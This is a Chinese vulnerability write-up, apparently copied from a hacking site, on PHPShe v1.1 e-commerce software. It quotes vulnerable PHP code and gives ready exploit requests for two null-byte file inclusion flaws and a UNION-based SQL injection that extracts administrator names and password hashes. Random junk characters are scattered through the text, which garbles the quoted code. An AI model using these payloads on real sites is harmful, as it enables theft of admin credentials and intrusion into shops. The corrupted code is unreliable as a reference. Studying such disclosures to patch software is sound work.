phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
$ k3 t" f$ `6 L1 L7 U7 u/* Phpshe v1.1 Vulnerability
/* ========================
0 C; m( ?7 [3 j% @/* By: : Kn1f3
$ v. _3 E+ i( j* K/* E-Mail : 681796@qq.com
) \* S5 A9 b4 s/*******************************************************/
0×00 整体大概参数传输



//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
& X% J9 {+ A$ u!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
- y* j3 }# E  F: z: u- g}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
$ |: O) R% b! j!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
# [& J% k) Y1 g7 u1 m!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
5 `9 R2 a7 A% A' y" k4 n% H
4 B$ R, H! {, P' ?; H, M! {3 D
//首页文件
, a) z1 e3 F' u$ w2 ~<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" u) b, m# l' qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
" f3 W! b/ F" W, ~pe_result();
?>
//common 文件 第15行开始
url路由配置
- Z3 h$ R! {0 m; j! e' U* f, T$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
: W* ?4 ]; _) [- C$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* Q5 m- ~- w+ V8 b2 `//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

4 h' S2 {- [& x8 @4 ]! q( ]6 _<code id="code2">

//product.php文件
4 y! j% I+ O/ ?+ Acase 'list':
6 D; i  {- R; w2 X7 T& r0 y7 V6 m$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
- ^5 m% `" D- P( C8 ~( }+ Mif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' q  Z+ d/ J2 X3 x( L$ j( J. N}
2 J  D- G2 y* C3 U7 G: Z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
1 k3 {& l; K9 l& P' L8 o2 H: q2 ^+ {$orderby = explode('_', $_g_orderby);
8 K0 F# k9 s' V1 K+ |- M6 s$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
& l% z0 N; U' W% l' `% L9 }& y}
else {
- ^& s+ _% [+ A9 h: [+ S" {/ U$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
: w6 Z/ N( w1 Z% _3 w//热卖排行
! ~& M6 V* x; _  S; I8 ^$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
& A0 n5 v. R$ B5 uinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
- u+ O$ R1 z$ X. W" f* Fpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
  [1 B2 E8 x  @/ K" b& v6 c
8 y+ |* V3 P% R' O( G8 z: x1 W7 {0×03 包含漏洞2
, S& ], i" U% |/ B( h6 S' b4 Q
<code id="code3">

//order.php

case 'pay':

. X/ W1 S7 K/ i9 Q! z1 _. B( P$order_id = pe_dbhold($_g_id);

6 z& {: _) z: P7 @  }$ R! A$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

1 ~; z$ Q- j, L6 v3 R+ u!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

. P6 p% _' J$ l9 Z3 K( B) c! r: nif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

* |5 L7 q9 b) K* y, V: Z$order['order_name'] .= "{$v['product_name']};";

}

  R5 V: [7 b# J5 E9 L' secho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

* B/ T; i5 k- y* E) Z" Z5 e8 h5 A$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

) L$ F# b% v+ h. }8 t2 w9 J  Z  dbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 _% ?. M: L4 }: \$ phttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg